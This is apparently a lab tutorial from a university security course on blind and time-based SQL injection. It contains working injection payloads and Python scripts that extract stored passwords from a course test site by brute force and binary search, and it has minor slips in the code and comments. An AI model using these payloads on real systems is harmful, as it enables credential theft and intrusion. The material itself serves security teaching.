It may happen that injections are possible but results and errors from queries are not directly visible. If, however, the application behaves differently depending on the success of the query, a blind injection could still be possible.
In fact the application, depending of the success, could show:
- a distinguishable message;
- an error;
- a broken page
- an empty page
- …
Intuitively, we get a 1-bit boolean answer. If we are able to iterate the attack we can leak sensitive information.
Consider, for example, a password recovery service (use haxor/sqleet to login) that sends an email with a new password to users, if they are registered in the system. The user inserts an email address and the system checks if it is registered in the system. If this is the case the email is sent, otherwise an error message is displayed.
If the site is vulnerable to injections (i.e., the input is not sanitized properly) we can try to inject SQL code to leak information. Notice, however, that the output is just “one bit” and it is not possible to see any detail about the outcome of the query. How can we exploit this?
We illustrate with simple examples. Suppose the query is something like:
SELECT 1 FROM ... WHERE ...='EMAIL'
where EMAIL is the input provided by the user. If the query is successful the answer is YES (user exists) otherwise the answer is NO (including when there is an error in the query).
A simple injection like
' OR 1=1 #
will make the query succeed but will not leak any information about data, apart from the fact that injections are possible.
We can now inject the following code:
' OR (SELECT 1 FROM users LIMIT 0,1)=1 #
The resulting query is
SELECT 1 FROM ... WHERE mail='' or (SELECT 1 FROM users LIMIT 0,1)=1 #'
This allows for checking that the table ‘users’ exists. In fact, the first information an attacker is interested in discovering is the name of tables and columns. Only if that table exists we obtain 1 as the outcome of the query (notice the usage of LIMIT 0,1 to just get the first row, where 0 is the OFFSET and 1 the ROWCOUNT). If we are lucky we get a YES and we know that the table exists, otherwise we can try a different name. In our example the name of the table is ‘people’, so you can try the injection yourself and see the results.
You can do experiments on testbed to understand what is going on (we remove the trailing #’ from the queries in the tests for simplicity. The effect would be the same of course):
r1x@testbed ~ $ mysql -A -usqli_example -psqli_example sqli_example
...
mysql> SELECT 1 FROM people WHERE mail='' OR (SELECT 1 FROM people LIMIT 0,1)=1;
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
+---+
10 rows in set (0.00 sec)
Basically, each row satisfies the second conditions in the OR so we get 10 rows with value 1. This might be OK or not depending on the check done on the query result by the web application. If we want to limit the result to one row we can add another LIMIT directive as follows:
mysql> SELECT 1 FROM people WHERE mail='' OR (SELECT 1 FROM people LIMIT 0,1)=1 LIMIT 0,1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
How can we analogously check if a certain column name is correct? Suppose we want to find out if table ‘people’ has a column named ‘password’. We can inject the following:
' or (SELECT SUBSTRING(CONCAT(1,password),1,1) FROM people LIMIT 0,1)=1 #
CONCAT(1,password) returns the concatenation of ‘1’ with the content of column password, if it exists. Thus, for example, we get ‘1wr%23rdf’. With SUBSTRING we only take the first character which is 1. So, the query is successful only when column ‘password’ exists.
mysql> SELECT CONCAT(1,password) FROM people LIMIT 0,1;
+--------------------+
| CONCAT(1,password) |
+--------------------+
| 1xmsOweUV8G |
+--------------------+
1 row in set (0.00 sec)
mysql> SELECT SUBSTRING(CONCAT(1,password),1,1) FROM people LIMIT 0,1;
+-----------------------------------+
| SUBSTRING(CONCAT(1,password),1,1) |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.00 sec)
Notice that the syntax for SUBSTRING and CONCAT may vary from database to database. An alternative is to use MID (which is a synonym for SUBSTRING):
' or (SELECT MID(password,1,0) FROM people LIMIT 0,1)='' #
In this case we select 0 characters from position 1 of column password and compare it with the empty string ”. This will succeed only if column password exists.
Binary searching
So far, we have been lucky and we have guessed names of tables and columns. How can we discover arbitrary strings without trying all of them?
First of all we can brute-force single characters. We exemplify with the column password:
' or (SELECT MID(password,1,1) FROM people LIMIT 0,1)='a' #
' or (SELECT MID(password,1,1) FROM people LIMIT 0,1)='b' #
...
' or (SELECT MID(password,1,1) FROM people LIMIT 0,1)='z' #
Notice that we have 1,1 in MID now as we want to extract the first character. If we try all the possible letters we will end up with only one query succeeding, revealing the first character of the password of the first row.
We can iterate over the second letter with MID(password,2,1) and so on. Once the password is leaked we can find the passwords in the other rows by iterating the attack with LIMIT 1,1 and then 2,1 and so on.
The following python program implements the attack:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import string
import time
# runs the injection and returs a 1-bit of information, depending on the outcome
def run_blind(payload):
response = requests.post("https://sqli.seclab.dsi.unive.it/reset/", auth=requests.auth.HTTPBasicAuth('haxor','sqleet'), data = {'mail':payload})
if 'alert-success' in response.text:
return True # query was successful
else:
return False # query failed
def brute_pwd():
# BINARY makes case sensitive!
payload = "' OR BINARY (SELECT MID(lastname,{},1) FROM people LIMIT 0,1)='{}' #"
i=1
found = True
while found: # iterates until chars are found
found = False
# searches for letters, punctuations and digits
for c in string.ascii_letters + string.punctuation + string.digits:
if run_blind(payload.format(i,c)):
print(i,c)
found=True # char found, go on iterating on next chars
break # exits the interal loop and tries next char
i += 1 # next char
def main():
# test whether SQLi is possible
if not run_blind("' OR 1=1 # "):
exit(1) # no SQLi
brute_pwd()
if __name__ == '__main__':
main()
A better strategy is to use binary search. We can do it thanks to the ORD function that returns the ascii code of the letter. Now we do the following:
' or (SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1)<=ORD('m') #
If we succeed we know that the first letter of the password is before or equal 'n', otherwise it is after 'n'. We can go on spitting by two the interval until we converge. This is going much faster than trying all the possible letters as we split cases in two at each step. For example:
a b c d e f g h i j k l m n o p q r s t u v w x y z
---------------------------------------------------
n o p q r s t u v w x y z
u v w x y z
x y z
x y
x
EXERCISE
Try to find the whole password of the first user of our example site by using the above binary search attack.
The following python code implements the binary search variant:
def binary_pwd():
# payload to search for an interval, based on ORD function
payload = "' or (SELECT ORD(MID(password,{},1)) FROM people LIMIT 0,1)<={} #"
# payload to double check the found char
payload_check = "' or BINARY (SELECT MID(password,{},1) FROM people LIMIT 0,1)='{}' #"
# search interval sorted by ascii code (we use ORD in the query)
interval = sorted(string.ascii_letters + string.punctuation + string.digits,key = lambda c: ord(c))
i=1
while True:
l = 0 # lower bound
h = len(interval) # upper bound
while l!=h: # until the bounds coincide
m = (l+h) // 2 # compute the middle element
if run_blind(payload.format(i,ord(interval[m]))):
h = m # go left (query was successful)
else:
l = m+1 # go right (query failed)
# double check to see if a char was actually found
if run_blind(payload_check.format(i,interval[l])):
print(i,interval[l])
else:
break # exits the external loop (no char was found)
i += 1 # searches the next char
Totally blind injections
Even when there is no apparent difference in the output, injection can be dangerous. In fact queries are executed on the server so we can still leak information by observing the execution time. Here is an example of how the previous binary search attack might evolve in a totally blind setting:
' OR (SELECT IF((SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1)<=ORD('n'), SLEEP(1), NULL)) #
We use IF and SLEEP in order to make the query slow down when a certain criteria is matched. By only observing delays we can again leak any character by binary search.
However, if we try it in mysql we find out a strange behaviour:
mysql> SELECT 1 FROM people WHERE mail='' OR (SELECT IF((SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1)<=ORD('n'), SLEEP(1), NULL)) ;
Empty set (0.00 sec)
mysql> SELECT 1 FROM people WHERE mail='' OR (SELECT IF((SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1)<=ORD('z'), SLEEP(1), NULL)) ;
Empty set (10.00 sec)
When we check if the letter is less than 'z' the query takes 10 seconds instead of 1! In fact, the OR condition is checked for each row and we have 10 rows so the total amount of time is 10 seconds for the 10 sleeps. Here putting a LIMIT does not work:
mysql> SELECT 1 FROM people WHERE mail='' OR (SELECT IF((SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1)<=ORD('z'), SLEEP(1), NULL)) LIMIT 0,1;
Empty set (10.01 sec)
If we know at least one valid email (no@ma.il for example) we can use an AND instead of an OR:
no@ma.il' AND (SELECT IF((SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1)<=ORD('n'), SLEEP(1), NULL)) #
Now we get:
mysql> SELECT 1 FROM people WHERE mail='no@ma.il' AND (SELECT IF((SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1)<=ORD('z'), SLEEP(1), NULL));
Empty set (1.01 sec)
With the and the condition is checked only for the matching row, so just once.
It is also possible to use fractions of seconds to "tune" the delay as in:
mysql> SELECT 1 FROM people WHERE mail='' OR (SELECT IF((SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1)<=ORD('z'), SLEEP(0.1), NULL)) ;
Empty set (1.00 sec)
EXERCISE: Try to find the whole password of the second user of our totally blind example site by using a time-based search attack.
The following python code implements the time-based binary search variant:
def binary_totally_pwd():
# search paylod: sleeps when successful!
payload = "' OR (SELECT IF((SELECT ORD(MID(password,{},1)) FROM people LIMIT 0,1)<={}, SLEEP(0.1), NULL)) # "
# payload to double-check the found char
payload_check = "' or BINARY (SELECT MID(password,{},1) FROM people LIMIT 0,1)='{}' #"
# sorted by ascii code!!
interval = sorted(string.ascii_letters + string.punctuation + string.digits,key = lambda c: ord(c))
i=1
while True:
l = 0 # lower bound
h = len(interval) # upper bound
while l!=h: # until the bounds coincide
m = (l+h) // 2 # compute the middle element
start = time.time() # gets the time in seconds
run_blind(payload.format(i,ord(interval[m])))
if (time.time()-start) > 1: # checks if query time is more than 1 second
h = m # go left (time > 1 second)
else:
l = m+1 # go right (time <= 1 second)
# double check to see if a char was actually found
# notice that in case of network delays result might be wrong here (it would require re-running the search with bigger sleep to double-check)
if run_blind(payload_check.format(i,interval[l])):
print(i,interval[l])
else:
break # exits the external loop (no char was found)
i += 1 # searches the next char